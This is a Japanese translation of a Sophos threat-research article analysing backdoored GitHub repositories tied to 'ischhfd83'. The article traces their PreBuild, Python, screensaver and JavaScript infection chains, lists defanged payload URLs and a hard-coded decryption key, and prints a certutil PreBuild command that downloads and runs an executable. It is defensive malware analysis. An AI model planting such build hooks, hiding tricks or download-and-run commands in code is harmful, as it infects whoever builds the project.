Damp black stone walls leading to a wooden door
脅威の調査

ischhfd83 の奇妙な物語:サイバー犯罪者の「共食い」

お客様からの単なる問い合わせから、マルウェアとゲームチートの底なし沼が明らかに

** 本記事は、The strange tale of ischhfd83: When cybercriminals eat their own の翻訳です。最新の情報は英語記事をご覧ください。**

Sophos X-Ops はお客様から、特定のマルウェア亜種に対する保護について、しばしば問い合わせをいただきます。とある最近の問い合わせも、一見同じ類のものでした。このお客様は、GitHub でホストされているオープンソースのマルウェアプロジェクト「Sakura RAT」に対してソフォスが保護を提供しているかどうかを知りたいとのことでした。というのも、Sakura RAT が「高度な検出回避能力を持つ」とメディアで報じられていたためです。

Sakura RAT について調査したところ、すぐに 2 つの事実が判明しました。まず、この RAT 自体がソフォスのお客様にとって大きな脅威となる可能性は低いということです。次に、リポジトリには確かに悪意のあるコードが含まれていましたが、そのコードは RAT をコンパイルする人々を標的に、情報窃取ツールや他の RAT を仕込むことを目的としたものでした。つまり、Sakura RAT にはバックドアが仕掛けられていました。

攻撃者が互いを標的とするニッチな世界については以前にも報告しましたが、今回はさらに調査を進めたところ、奇妙な事実が明らかになりました。ソフォスは、Sakura RAT の「開発者」と 100 件以上のバックドアが仕掛けられた他のリポジトリとの関連を発見しました。これらのリポジトリの中には、マルウェアや攻撃ツールを自称するものもあれば、ゲームのチートを自称するものもありました。

これらのバックドアを分析したところ、難読化、複雑な感染チェーン、識別子、複数のバックドア亜種が複雑に絡み合っていることが判明しました。結果として判明したのは、ある攻撃者がバックドアを仕込んだリポジトリを大規模に作成しており、主にゲームチーターや経験の浅い攻撃者を標的としているということです。そして、この活動はかなりの期間行われてきた可能性が高いと考えられます。

ソフォスの調査では、2024 年から 2025 年にかけて報告された DaaS (サービスとしての配信。「P」のセクションを参照) の活動との関連性が示唆されます。この活動は、2022 年にはすでに何らかの形で存在していた可能性があります。

ソフォスはこれまで、調査時点でまだ活動していたすべてのバックドア付きリポジトリ、そして悪意のある 7z アーカイブをホストしていたリポジトリを GitHub に報告してきました。また、難読化された悪意のあるコードをホストしている関連ペーストサイトの所有者/運営者にも連絡を取りました。本記事執筆時点で、悪意のある 7z アーカイブをホストしていたリポジトリ、バックドア付きリポジトリの大部分、および多くの悪意のあるペーストが削除されています。

RAT の侵入

お客様からの問い合わせを受け、当時 GitHub で公開されていた Sakura RAT のソースコードを調査しました。するとすぐに、多くのフォームが空であったため、ビルドしてもマルウェアが機能しないことが判明しました。また、コードの一部は、有名かつ広く普及しているオープンソースの RAT である AsyncRAT から直接コピーされているようでした。

しかし、詳しく調べたところ、異常な点に気づきました。Sakura RATの .vbproj ファイル (Visual Basic プロジェクトのビルドに必要な情報を保持するファイル) の フィールドに長い文字列が含まれていたのです。

Visual Studio では PreBuild イベントにより、開発者はプロジェクトがビルドされる前に実行されるコマンドを指定できます。これらのコマンドは、通常の Windows コマンドプロンプトで機能するものであれば何でも構いません。たとえば、開発者がビルド前にユーザーのマシンにディレクトリを作成する必要がある場合、.vbproj ファイル (他の言語では同等のもの、たとえば C# の場合は .csproj、C++ の場合は .vcxproj) の PreBuild イベントとして mkdir <フォルダ名> を挿入できます。ビルドを実行するユーザーが指定された場所にフォルダを作成するための必要なアクセス権限を持っていた場合、コマンドが実行されます。

この事例において、RAT の開発者はより悪質なことをしていました。PreBuild イベントに、ユーザーのデバイスにマルウェアを密かにダウンロードするように設計されたコマンドが含まれていたのです。

A screenshot of a .vbproj file

図 1: 悪意のあるプロジェクトファイルの 1 つに仕掛けられたバックドア

Sophos X-Ops は (おそらく他の研究者たちも)、このリポジトリに悪意のあるコードが含まれていることを直ちに GitHub に通知しました。その結果、リポジトリは削除されました。また、防御策を開発し、問い合わせを受けたお客様に返信しました。その際、この RAT 自体が機能しないだけでなく、含まれている悪意のあるコードは企業ではなく、チートやハッキングをダウンロードするサイバー犯罪者やゲーマーを標的にしていることをお伝えしました。

しかし、私たちの好奇心は刺激されました。このようなリポジトリは他にもあるのでしょうか。その最終的な目的は何なのでしょうか。

バックドア祭り開催中!全員が侵入対象!

Sakura RAT のリポジトリで、Sophos X-Ops は .github ディレクトリにある YAML (「YAML はマークアップ言語ではない」の頭文字) ファイルに、ischhfd83[at]rambler[.]ru (Rambler はロシアの検索エンジン、Web ポータル、ニュースサイト、メールプロバイダー) という電子メールアドレスが含まれていることに気づきました。また、.vbproj ファイルからバックドアのコードそのものも入手できました。そこで、メールアドレスとコードのスニペット両方について GitHub でコード検索を実行し、他のバックドア付きプロジェクトを探しました。

A screenshot of part of a YAML file

図 2: 悪意のある GitHub リポジトリの 1 つから得られた .yaml ファイル。ischhfd83 のメールアドレスを含んでいます。

存在していました。1 件や 2 件、あるいは 10 件どころではなく、100 件以上。

合計で 141 件のリポジトリを発見しました。そのうち 133 件にバックドアが仕掛けられており、111 件は PreBuild バックドアを含んでいました。他にも 3 種類のバックドアが確認されました。Python (14 件)、スクリーンセーバー (6 件)、JavaScript (2 件) です。このトピックに関する他の研究者の報告 (先行研究を参照) によると、GitHub または/および攻撃者によってすでに削除された悪意のあるリポジトリが、これ以外にも存在した可能性があります。

Sophos X-Ops が発見したバックドア付きリポジトリのうち、約 24% がマルウェアプロジェクト、エクスプロイト、攻撃ツールを装っていました。大半 (58%) はゲームのチートを装っており、残りはボット関連プロジェクト (7%)、暗号通貨ツール (5%)、その他のツール (6%) で構成されていました。

A screenshot of a GitHub repository, viewed via a browser

図 3: 悪意のあるリポジトリの例。CVE-2025-12654 のエクスプロイトビルダーを自称していました。

Sophos X-Ops が発見できたバックドア付きリポジトリの中で、最も古いコミットは、2023 年 11 月 2 日でした。多くのプロジェクトの最新のコミットは、Sophos X-Ops が調査したのと同じ日、場合によってはほんの数分前でした。

配布方法

このキャンペーンの配信方法は不明です。先行研究のセクションで述べるように、過去の関連する可能性のあるキャンペーンでは、バックドアされたコードやリポジトリへのリンクを拡散するのに Discord サーバーや YouTube チャンネルを使用していました。そのため、 今回も同様の手法が用いられている可能性があります。

また、配布に関連した興味深い副次的な効果も確認されました。一部のメディアやソーシャルメディアユーザーが、Sakura RAT の機能に関する憶測を取り上げ、おそらくバックドアの存在については知らないまま、注意喚起の投稿を行いました。つまり、意図せずしてリポジトリを宣伝してしまったのです。(ソフォスのお客様からの問い合わせにも、このような事例が 2 件引用されていました。)結果として、報道を読んだ一部のユーザーが RAT をダウンロードし、ビルドしようとするという二次的な流通経路が発生しました。

A screenshot of a post on a cybercrime forum

図 4: Sakura RAT に関する報道を見たユーザーが、コピーの入手先をサイバー犯罪フォーラムで尋ねる様子。

しかし、上記の事例では、別の攻撃者がある種のゲリラ的な宣伝キャンペーンを試みていた可能性も考えられます。

A screenshot of a post on a cybercrime forum

図 5: Sakura RAT に関する助言を求めるサイバー犯罪フォーラムへの投稿

図 5 のスレッドに投稿した両ユーザーと、元の投稿者は代替のダウンロードリンクも共有していました。他のユーザーにダウンロードと実行を促すためかもしれません。

一方、別の有名な地下フォーラムでは、攻撃者たちは Sakura RAT のリポジトリにバックドアが仕掛けられていることに即座に気づいていました。

A screenshot of a post on a cybercrime forum

図 6: Sakura RAT のバックドアを発見した攻撃者

YAML による錯覚

配布方法が何であれ、攻撃者は特にコミットの数と頻度を通じて、バックドアが仕掛けられたリポジトリを正当なものに見せかけようと相当な努力を払っているようです。

大半のリポジトリに存在する YAML ファイルを詳しく確認すると、このことがよく分かります。この攻撃者は GitHub Actions ワークフローを使用してコミットを自動化しています。この活動には、(おそらく正規の) GitHub リポジトリでホストされている YAML ファイルを少しだけ修正したものが使われているようです。

A screenshot of a YAML file

図 7: バックドアが仕掛けられたレポジトリに存在する YAML ファイル

このワークフローのロジックは以下の通りです。

  • main ブランチへのプッシュ時:
  • かつ (POSIX cron 構文にしたがって) 毎分:
  • 現在の日付と時刻をリポジトリの指定したファイルに書き込む
  • 変更をコミットする

しかし実際には、これらの更新は毎分行われているようには見えません。GitHub のドキュメントによると、ワークフローのスケジューリングの最短間隔は実際には 5 分であり、遅延やレート制限とも相まって、更新時間が不規則になっている可能性があります。

A screenshot of workflow runs on GitHub

図 8: 別のバックドア付きリポジトリにおけるワークフロー実行の例。スクリーンショットを撮影した時点で合計 4,575 回実行されています。

これらの YAML ファイルは、Sophos X-Ops が確認したすべてのリポジトリでほぼ同一でした。すべて同じロジックを含み、ファイル冒頭には「Star」という同一のワークフロー名が記述されていました。

A screenshot of one of the 'date and time' files in a backdoored repository

図 9: 悪意のあるエクスプロイトビルダリポジトリ内の「日付と時刻」ファイル

A screenshot showing the commit history for a file on GitHub

図 10: 図 9 のファイルのコミット履歴

このワークフローを使用する動機としては、リポジトリが定期的にメンテナンスされているかのような錯覚を与え、より多くの潜在的被害者を引きつけたいと考えている可能性があります。過去に他の研究者によって明らかにされた同様のキャンペーン (先行研究を参照) において、攻撃者がお気に入り登録数を水増しすることで人気があるように錯覚させていたのとは対照的です。

Sophos X-Ops が情報を得たリポジトリのうち、リポジトリあたりの平均お気に入り登録数はわずか 2.78 件であり、以前の研究で指摘された数よりもはるかに少ないことを発見しました。また、不正なお気に入り登録が行われているリポジトリを検出するように設計された Checkmarx の Python スクリプト (こちらの記事からリンクされています。先行研究も参照のこと) を使用して確認を行いました。その結果、Sophos X-Ops が確認したリポジトリのうち、疑わしいとしてマークされたのは 25% だけでした。

悪意のあるリポジトリのパターン

バックドアが仕掛けられたリポジトリには、複数の特徴が見られました。

  • 自動化されたワークフローの実行により、多くのプロジェクトでコミット数が膨大になっていました (あるプロジェクトは 2025 年 3 月に作成されたばかりにもかかわらず、60,000 件近くのコミットがありました)。全リポジトリの平均コミット件数は、最初のデータ収集時点で 4,446 件でした
  • 97 人のユニークなリポジトリ所有者は、通常、他のリポジトリをほとんど持っていませんでした。大半が 0 件で、9 件を超えるユーザーは 1 人もいませんでした。* 複数のバックドアされたリポジトリを所有しているユーザーはわずか 18 人でした
  • 所有者が複数のリポジトリを持っていた場合、それらの最初のコミット日、最新のコミット日、リリース日 (リリースがあった場合) はすべて同じである傾向がありました。
  • ほとんどのリポジトリはコントリビューターの数が少なく、最大でも 4 人で、通常は所有者を含めて 3 人でした (平均: 2.6 人)
  • コントリビューターは通常、自分自身のリポジトリを持っていませんでした。
  • コントリビューターはほぼ例外なく、特定のリポジトリ所有者の周りに集中していました。たとえば、Aragask というユーザーは 9 件のリポジトリを所有していました。これらの各リポジトリにおいて、他のコントリビューターは Mastoaskmollusk9558 だけでした。Mastoask も mollusk9558 も Aragask も、他の誰かが所有するリポジトリには一切貢献していませんでした。
  • 一般的に、コントリビューターが別の所有者のリポジトリにまたがって作業することはありませんでした。この法則の例外はわずか 1 件のみで、1 人のコントリビューター (mutalqahtani) が所有者が異なる 2 件のリポジトリで作業していました。
  • 特定のユーザー名には、くり返し現れるパターンがありました。MastrorzMaskasodMastersxz54MastoaskMask4sMaskts および Mastosdtlordmba12 および lordmmbbaMyksLoLMyskHccr および MytichArrow などです。
  • 8 件のリポジトリはバックドアを含んでいないように見えましたが、ischhfd83 の電子メールアドレスを通じて他のリポジトリと関連付けられていました。これらのプロジェクトには、くり返し貢献するユーザーや頻繁にコミットするユーザーなど、バックドアが仕掛けられたリポジトリと同じ特徴の一部が見られました。
  • 一方、5 件のリポジトリはバックドアを含んでいましたが、ischhfd83 のメールアドレスは記載されていませんでした。

Sophos X-Ops は、調査時点でまだオンラインだったリポジトリを検証し、コントリビューターごとのコミット数を分析しました。

86% のリポジトリには、リポジトリ所有者を含めて 3 人しかコントリビューターがいませんでした。これらのリポジトリには、興味深いパターンが観察され、それぞれのコントリビューターが明確な役割を担っている可能性が示唆されました。

  1. 所有者は、ほとんどの場合 ischhfd83 というメールアドレス (図 11 に示すように、GitHub のコミット URL に「.patch」を追加することで取得できる) を持っており、前述の自動コミットワークフローによって全コミットの約 98.5% を担当していました。
  2. 2 番目のコントリビューターは通常 Outlook のメールアドレスを持っており、GitHub のユーザー名とは明らかに関連していない英数字の文字列を使用していました (例: dfghtjyfdyhu567[at]outlook[.]com)。彼らは全コミットの約 1.4% を担当しており、通常は他のコードやファイルとともにバックドア付きのファイルを追加していました。
  3. 3 番目のコントリビューターは、2 番目と類似したメールアドレスを使用していましたが、多くの場合 2 件のコミット (2 件の YAML ファイル、そのうちの 1 件に自動コミットのワークフローを含む) しか行っていませんでした。3 番目のコントリビューターは、全コミットの 0.1% しか担当していませんでした。

A screenshot of a Github commit

図 11: コミット URL に「.patch」を追加してコントリビューターのメールアドレスを取得

A screenshot showing commits made by a user

図 12: 自動コミットワークフローのため、リポジトリ所有者のコミットが最も多い傾向があります。この事例では、オーナーは ThoristKawで、コミット数は 880 件でした。

A screenshot showing commits made by a user

図 13: 2 番目のコントリビューター (この例では unrelated4391) は通常、バックドア付きファイルを含むコードをリポジトリにコミットしますが、定期的なコミットは行いませんでした。unrelated4391 は 17 件のコミットしか行っていません。

A screenshot showing commits made by a user

図 14: 3 番目 (この例では Matarixm) は通常 2 回のコミット、つまり YAML ファイルのみを行いました。そのうち 1 件には自動コミットワークフローのロジックが使用されていました。

これらの明確な役割分担は、何らかの自動化フレームワークがこのキャンペーンを支えていることを示している可能性があります。

注: この時点で、分析が完了する前にいくつかのリポジトリがオフラインになってしまいました。当初、Sophos X-Ops は攻撃者が痕跡を消去しているのではないかと考えました。しかし、ischhfd83 というメールアドレスに関連するいくつかのリポジトリがオンラインのままであったことから、GitHub のスタッフが Sakura RAT に関する報告 (または他の悪意のあるリポジトリに関する報告) を受けて、他のバックドアを探し出した可能性が高いと考えています。Sophos X-Ops が調査を開始してから本記事を執筆するまでの間に、新たなリポジトリも作成されています。こうしたやむを得ない理由により、不完全なデータセットを用いて分析を行っています。本記事の情報に基づいて何らか推論を行う場合は、この点を考慮する必要があります。

* このパターンには例外があり、バックドア付きリポジトリの所有者がはるかに多くのリポジトリを所有している事例も複数確認されています。これらのリポジトリを調査した結果、これまでの収集データにある他のリポジトリの特徴には当てはまらず、バックドアも仕掛けられていないことが判明しました。したがって、これらの事例のユーザーは、バックドアが仕掛けられたコードを意図せずに自分のリポジトリにコピーした、正当な開発者である可能性が高いと評価しています。また、他のユーザーがバックドア付きのリポジトリをフォークしている事例も確認されました。

バックドアの詳細な分析

前述の通り、Sophos X-Ops は 4 種類のバックドアを発見しました。それぞれにバリエーションや特徴があります。しかしいずれの場合も、感染チェーンは長く、複雑で入り組んでいます。攻撃者は「秘匿によるセキュリティ」という言葉を真に受け、徹底しているのではないかと考えられます。

PreBuild バックドア

第 1 段階: バックドア

<PreBuild> イベントに仕込まれた最初のバックドアは、比較的シンプルなバッチコマンドの集まりですが、多くの HTML エンコーディングと難読化された文字列を含んでいました。難読化を解除すると、以下のようになります。

A screenshot of code

図 15: 最初のバックドア

このコードは単純なもので、新しく作成されたサブフォルダ (C:/Users//AppData/Local/Temp/a) 内に設置した VBS ファイルにいくつかのコマンドを書き込みし、そのファイルを実行します。

第 2 段階: VBS

VBS スクリプトは、Base64 でエンコードされた 3 つの文字列 (図 15 の変数 bcd) を連結して、同じディレクトリ内の PowerShell スクリプトとして書き出します。その後、PowerShell を呼び出してそのスクリプトを実行します。

A screenshot of a VBS script

図 16: VBS スクリプト

第 3 段階: PowerShell

A screenshot of a PowerShell script

図 17: PowerShell スクリプト

このスクリプトは、$R 変数に含まれる文字列をデコードした後、反転して Base64 デコードを行い、Invoke-Expression を介して実行します。

デコードされた文字列は以下の通りです。

A screenshot of a PowerShell script

図 18: デコードされた PowerShell スクリプト

このコードは、4 つの関数 (r11xo) を連続的にループします。各関数は p() 関数を呼び出します。p() 関数は (d() 関数を介して) ハードコードされた文字列をデコードし、生成された URL からコンテンツを取得、その結果をデコードします。出力された URL から 7z アーカイブをダウンロードします。

次に、e() 関数を呼び出してアーカイブを解凍します (この際、アーカイブのパスワードをデコードするため d() が呼び出される)、最後に解凍されたアーカイブから SearchFilter.exe という実行ファイルを起動します。このスクリプトは、ユーザーのシステムに 7zip がすでにインストールされているかどうかも確認します。もしインストールされていなければ、ダウンロードしインストールします。

ハードコードされた 4 つの文字列は URL であり、$prooc 変数に含まれる文字列を使ってデコードされます。

デコード関数 d() は、文字列 (最初のパラメータ) を Base64 デコードし、結果を UTF8 に変換します。その後、文字列内の各文字とキー (2 番目のパラメータ) の各文字をループ処理し、後者の ASCII 値から前者の ASCII 値を減算します。

A screenshot of a function in a PowerShell script

図 19: d() 関数

ハードコードされた文字列をデコードし、以下の 4 つの URL を入手しました。

  • hxxps://rlim[.]com/seraswodinsx/raw
  • hxxps://popcorn-soft.glitch[.]me/popcornsoft.me
  • hxxps://pastebin[.]com/raw/LC0H4rhJ
  • hxxps://pastejustit[.]com/raw/tfauzc15xj

第 4 段階: 7zip アーカイブ

これらの URL のいずれにも 7z アーカイブはなく、別のエンコードされた文字列があるだけでした。

A screenshot showing an obfuscated string

図 20: エンコードされた文字列

スクリプトにハードコードされた別のキー ($proc 変数に格納されている) を使用してこの文字列をデコードした結果、hxxps://github[.]com/unheard44/fluid_bean/releases/download/releases/SearchFilter.7z という URL が得られました。

予想通り、この攻撃者はペイロードを GitHub でホストしていました (GitHub への報告後、このリポジトリは利用できなくなりました)。このリポジトリは、古くて一見正規のリポジトリからフォークされたもので、最終更新は 17 年前でした。リポジトリ内のコード自体は無害に見えますが、リリースにはマルウェアが含まれています。

A screenshot of the releases in a GitHub repository

図 21: GitHub でホストされたマルウェア

A screenshot of a GitHub user's profile

図 22: undeard44 の GitHub プロフィール

アーカイブを解凍するパスワードも難読化されていましたが、この場合は単に Base64 と UTF8 でエンコードされているだけでした。アーカイブが解凍されると、以下のような中身が現れます。

A screenshot of a directory's contents on Windows

図 23: 解凍された SearchFilter.7z の中身

PowerShell スクリプトは、非常に大きなバイナリファイルである SearchFilter.exe を起動しようとします。ディレクトリ内の追加ファイルは、Electron アプリのコンパイルに関連するものです。

(Electron を使用してマルウェア (特に情報窃取ツール) を作成および配布するのは、比較的最近の手法であり、研究者たちは、過去数年間で複数の事例を報告しています。たとえば、Doenerium と Epsilon StealerSYS01Tusk などが挙げられます。また、この手法は多くのバックドアキャンペーンに共通する特徴でもあります。詳細については先行研究のセクションをご確認ください。)

resources サブディレクトリには、app.asar いう大きなファイルがありました。ASAR (Atom Shell Archive Format) は、Electron アプリをバンドルするために使用されるアーカイブ形式です。

悪意のあるコードはこのファイル内に含まれており、SearchFilter 実行ファイルによってビルドされ、実行されます。

app.asar を解凍して可読化した後、関連する JSON ファイルを確認したところ、このアプリは TeamsPackage と名付けられており、ミュテックスチェッカーやスクリーンショット撮影用のライブラリなど、いくつかの興味深い依存関係があることも判明しました。

A screenshot of a JSON file

図 24: app.asar に関連付けられた packages.json ファイル

main.js ファイルを確認したところ、そのファイルが非常に大きく (17,000 行以上) であり、その大部分が高度に難読化されていることがすぐに判明しました。しかし、一部の平文の文字列から悪意のある機能を読み取ることができました。

A screenshot of partly-obfuscated JavaScript

図 25: main.js からの抜粋。さまざまな悪意のある機能が示されており、Defender の除外設定とシャドウコピーの削除に言及する PowerShell コードに注目してください。

A screenshot of partly-obfuscated JavaScript code

図 26: スケジュールタスクの作成とレジストリエントリの改変

その他の機能としては、IP アドレスチェッカー、Telegram を介した通信機能、スケジュールタスクの作成、感染したホストからのファイルの抽出などが挙げられます。

A screenshot from a debugger, showing a PowerShell command

図 27: 大雑把な VM 対策として、マルウェアは PowerShell コマンドを実行して CPU コア数を取得します。

感染すると、マルウェアは感染デバイスに関する基本的な情報 (ユーザー名、ホスト名、ホームディレクトリ、ネットワークインターフェース、OS のバージョンとアーキテクチャなど) を収集し、Telegram 経由で攻撃者に送信します。Telegram と、この活動がキャンペーンについて何を示唆しているかについては、後ほど説明します。

A screenshot from a debugger, showing Telegram details (URL, token, and command)

図 28: 攻撃者に新たな感染を通知するために使用される Telegram の詳細

このマルウェアはその後、複数の悪意のある PowerShell スクリプトを実行し、レジストリエントリを操作して Windows Defender を無効化したり、シャドウコピーを削除したり、一般的な解析ツールやデバッグツールを終了させたりします。そして、Huorong Threat Intelligence Center によるこのマルウェアの包括的な技術分析で説明されているように、(AsyncRAT モジュール、Remcos、Lumma Stealer を含む) 複数の情報窃取ツールや RAT をダウンロードして実行します。このマルウェアの公開サンドボックス分析はこちらで確認できます。

最終的なマルウェアへの詳細な分析は本記事の範囲外ですが、すでに実施されている詳細分析に Sophos X-Ops が新たな知見を提供できるかどうか、追って評価する予定です。Sophos X-Ops は以前、Lumma Stealer に関する詳細なレポートを発表しています。また、Remcos に関する以前の調査結果はこちらこちら (リンク先: 英語) でご確認いただけます。

興味深いことに、いくつかの事例では、PreBuild コマンドが単に putty (概念実証のテストに使われる標準的なツール) をダウンロードして実行するスクリプトであることを確認しました。たとえば、以下の通りです。

<PreBuildEvent>
<Command>cd %USERPROFILE%\Desktop &amp;&amp; certutil -urlcache -split -f hxxps://the[.]earth[.]li/~sgtatham/putty/latest/w64/putty.exe putty.exe &amp;&amp; start putty.exe</Command>
</PreBuildEvent>

Python バックドア

14 件のプロジェクトにおいて、Python 版のバックドアが確認されました。PreBuild バックドアと同様に、Python スクリプトには難読化された長い文字列が含まれています。

しかし、攻撃者は Python バックドアにおいて、検出を回避するためと思われる、興味深い (しかし些細な) 戦術を用いていました。ブラウザや、ワードラッピングを無効にしたテキストエディタでファイルを表示すると、バックドアは確認できません。

A screenshot of a Python script, viewed online on GitHub via a browser

図 29: バックドアが仕掛けられたリポジトリ内のファイルである app.py

しかし、バックドアは確かに存在します。単に右端に配置してあるだけです。確認するにはかなりの水平方向へのスクロールを必要とします。

A screenshot of a Python script, viewed online on GitHub via a browser. The code begins halfway across the page

図 30: Python バックドアの開始位置

図 31 は、出現したバックドアを示しています。まず、コードは pip を使用して 3 つのパッケージ(cryptographyfernetrequests) を密かにインストールします。

A screenshot of partly-obfuscated Python code

図 31: Python バックドアの 1 つ

ここで攻撃者は、対称暗号化のために Python ライブラリである Fernet を使用しています。暗号化されたコードは復号され、同時に実行されます。キー (「vibe.process-byunknown」) はスクリプトにハードコードされているため、復号は簡単です。

A screenshot of Python code

図 32: Python バックドアの復号された第 2 段階ペイロード

Batch/VBS/PowerShell の実装と同様に、このスクリプトには 3 つのエンコードされた URL と、それらをデコードするためのキーが含まれています。これらデコードすると、感染チェーンの次の段階を取得するための URL のリストが得られます。

  • hxxps://rlim[.]com/pred-FMoss/raw
  • hxxps://paste[.]fo/raw/e79fba4f734e
  • hxxps://pastejustit[.]com/raw/16qsebqoqq

各 URL には、さらに別のエンコードされた文字列 (3 件のサイトすべてで同一) があります。

A screenshot of obfuscated text

図 33: いずれかの URL にある、エンコードされたコンテンツの大きなブロック

第 2 段階のペイロードは、URL のデコードに使用されたのと同じキーでこの文字列をデコードし、出力 (Python コード) をユーザーの %TEMP% フォルダに書き込み、実行します。

A screenshot of Python code

図 34: デコードされた第 3 段階のペイロードの 1 部

生成されたスクリプトには、エンコードされた URL がさらに 2 件含まれており、また興味深いことに、ファイルの末尾にはロシア語のコメントが 2 件含まれていました。

A screenshot of Python code, with two comments in Russian at the bottom

図 35: 第 3 段階スクリプトのロシア語での 2 件のコメント。「製造元: 不明。ここまで来ても、まだ先は長い」と翻訳できます。

2 件の URL をデコードすると、以下のようになります。

  • hxxps://rlim[.]com/seraswodinsx/raw
  • hxxps://pastebin[.]com/raw/yT19qeCE

Pastebin は、Sophos X-Ops の調査時点でペーストを削除していましたが、rlim の URL は依然として有効でした (rlim への通知後、現在は削除されています)。この URL は、上述のものと同一です。つまり、この時点からの感染チェーンは PreBuild バックドアと同一です。

このバージョンのバックドアでは、攻撃者がアーカイブのパスワードをスクリプト内にハードコードしていることに気づきました。

A screenshot of Python code

図 36: 悪意のある SearchFilter.7z アーカイブのパスワードは、 第 3 段階の Python スクリプトにハードコードされています。

スクリーンセーバーバックドア

6 件のリポジトリには、.NET .sln (ソリューション) ファイルを装った .scr ファイルが含まれていました。

ソリューションファイルはテキストベースで、テキストエディタで開けます。GitHub でホストされている場合は、ブラウザでも表示できます。これらの 6 件のリポジトリでは、ソリューションファイルが表示できないだけでなく、ファイル名にピリオドが追加されていることに気づき、すぐに疑念を抱きました。

A screenshot of a .scr file masquerading as a .sln file, viewed on GitHub via a browser

図 37: 悪意のある .scr バックドアの 1 つ

これらの「ソリューションファイル」をダウンロードしてさらに詳しく調べたところ、攻撃者はユーザーを欺くために、やや古風な手口である右から左への上書き (RLO) を使っていることがわかりました。RLO は Unicode 文字 (U+202E) を使用するもので、文字列に挿入すると、それ以降のすべての文字が左から右ではなく、右から左にレンダリングされます。

たとえば、図 37 のファイル名は、実際には Paypal Payment Resou[U+202E]nls..scr です。この攻撃者は、.scr という拡張子の文字を使って (正しくはありませんが)「Resources」という単語を完成させており、ファイル名は画像のように表示されます。

Sophos X-Ops は、.scr バックドアのうち 5 件が同一であり、VirusTotal で広く知られていることを確認しました (最初に確認されたのは 2023 年 12 月)。逆コンパイルすると、単純なバックドアが含まれていることがわかりました。長い、反転された文字列です。コードは実行時にこの文字列を再び反転させ、バッチファイルに書き込んで実行します。

A screenshot of partly-obfuscated .NET code

図 38: .scr ファイル内の反転した悪意のあるコード

結果として得られるスクリプトは、図 39 に示すように、PowerShell を使用して hxxps://img[.]guildedcdn[.]com から 6 件のファイルをダウンロードしようとします (Guilded は、Discord に似たチャットプラットフォームです)。そのうち 3 件はバッチスクリプトとして、 3 件は実行可能ファイルとして保存されます。次に、スクリプトはさらに 2 件の実行可能ファイルをダウンロードし、実行しようとします。

A screenshot of .NET code

図 39: 反転されたコード

ホスティングドメインは現在すでにこれらのファイルを提供していないため、調査できませんでした。しかし、2023 年 11 月の同様のキャンペーンの分析では、最終的なペイロードが AsyncRAT であった可能性が示唆されています。

残りの .scr ファイルは圧縮されていました。

A screenshot from a binary inspector, showing sections packed with UPX

図 40: 残りの .scr ファイル

VirusTotal でこのファイルのハッシュ値を検索したところ、このファイルも非常に有名なものであり、2023 年 12 月に最初に投稿され、AsyncRAT に関連している可能性があることが判明しました。

JavaScript バックドア

JavaScript バックドアも 2 件確認されました。1 件目は比較的単純で、Base64 エンコードされた 2 つの大きなテキストブロック (うち 1 つは全く使われていないようでした) を含んでいます。実行時にこれらのブロックの 1 つがデコードされ、eval() に渡された上で実行されます。

A screenshot of JavaScript code

図 41: JS ファイル内のバックドア

デコードされ、整形された第 2 段階のペイロードも、非常に難読化されていました。

A screenshot of JavaScript code

図 42: 第 2 段階の JavaScript ペイロード

デバッガーでこのペイロードをステップ実行すると、エンコードされた 2 件の文字列と、Python バックドアで使用されたのと同じキー(「vibe.process-byunknown」) が出現しました。

A screenshot from a debugger, showing several strings in memory

図 43: 最初の JavaScript バックドアで平文の文字列を発見

これらの URL をデコードすると以下のようになります。

  • hxxps://rlim[.]/drone-SJ/raw
  • hxxps://pastebin[.]com/raw/ZTrwn94g

どちらの URL にも、エンコードされた長いテキストブロックが記載されていました。

A screenshot of obfuscated text

図 44: 悪意のある URL で確認された、エンコードされたテキスト

URL のデコードに用いたのと同じアルゴリズムとキーでこの文字列をデコードすると、さらに難読化された JavaScript が現れます。再度デコードして整形すると、この第 3 段階のペイロードは、もしインストールされていなければ 7Zip をダウンロードしようとし、PreBuild バックドアで使用されたものと同じ URL にアクセスするようです。したがって、最終的には SearchFilter.7z アーカイブのダウンロードと解凍が行われます。

A screenshot of a debugger, showing a paste link in memory

図 45: デバッガーで実行中の第 3 段階のペイロード。デコードされた URL に注目してください。Sophos X-Ops は、PreBuild バックドアで使用される別の 2 件の URL も確認しました。

2 件目のバックドアは同じ動作をするものの、中身は若干異なります。このバックドアは、コード本体内に 4 件のエンコードされた URL を含んでいます。

A screenshot of JavaScript code, viewed on GitHub via a browser

図 46: 2 件目の JavaScript バックドア内のエンコードされた URL

以前の事例と同様に、これらは「vibe.process-byunknown」(定数として平文でハードコードされています) というキーを使って、calc() 関数経由でデコードされます。

A screenshot of a function in JavaScript code

図 47: 第 2 の JavaScript バックドア内の calc() 関数

A screenshot of a function in JavaScript code

図 48: エンコードされた URL をデコードし、二次ペイロードをダウンロードするために calc() 関数が呼び出される

デコードされた URL は以下の通りです。

  • hxxps://rlim[.]com/drone-SJ/raw
  • hxxps://paste[.]fo/raw/6c2389ad15f1
  • hxxps://pastebin[.]com/raw/ZTrwn94g
  • hxxps://pastejustit[.]com/raw/zhpwe7mrif

この時点以降の感染チェーンは、上述の例と同一です。

先行研究

このトピックを調査する中で、類似または関連するキャンペーンが以前にも発生していたことが明らかになりました。このセクションでは、これらのキャンペーンに関する先行研究のいくつかを、おおよその時系列順に簡潔にまとめます。必ずしも網羅的なリストではないため、意図せず省略してしまった研究者の方々にはお詫び申し上げます。

2022 年 8 月: Checkmarx が、GitHub リポジトリを標的とした大規模なキャンペーンに関する調査結果を発表しました。このキャンペーンでは、ユーザーが正規のリポジトリをフォークし、バックドアを挿入する手法が用いられていました。今回の ischhfd83 のキャンペーンとの間にはあまり類似点は見られませんでした。

2023 年 5 月: Approach-Cyber が、「Kekw」マルウェアに関するキャンペーンについて報告しました。このキャンペーンでは、悪意のある Python パッケージが悪意のある GitHub リポジトリを介して配信されていました。このキャンペーンは、Electron アプリと、暗号化に Fernet を使用する Python スクリプトを使用するものでした。

2023 年 6 月: Approach-Cyber が、バックドアが仕掛けられたリポジトリを持つ疑わしい GitHub アカウントに関する続報を公開しました (Python のバックドアでは、上述のような空白文字のトリックが使用されますが、異なる平文のペイロードを用いています)。

2023 年 10 月: Trend Micro が、Python バックドアを含む GitHub リポジトリに関するキャンペーンについて報告しました。このバックドアには、上述の空白文字のトリックが使用されていました。感染チェーンの最終段階では、BlackCap-Grabber (情報窃取ツール) と悪意のある Electron アプリがインストールされていました。

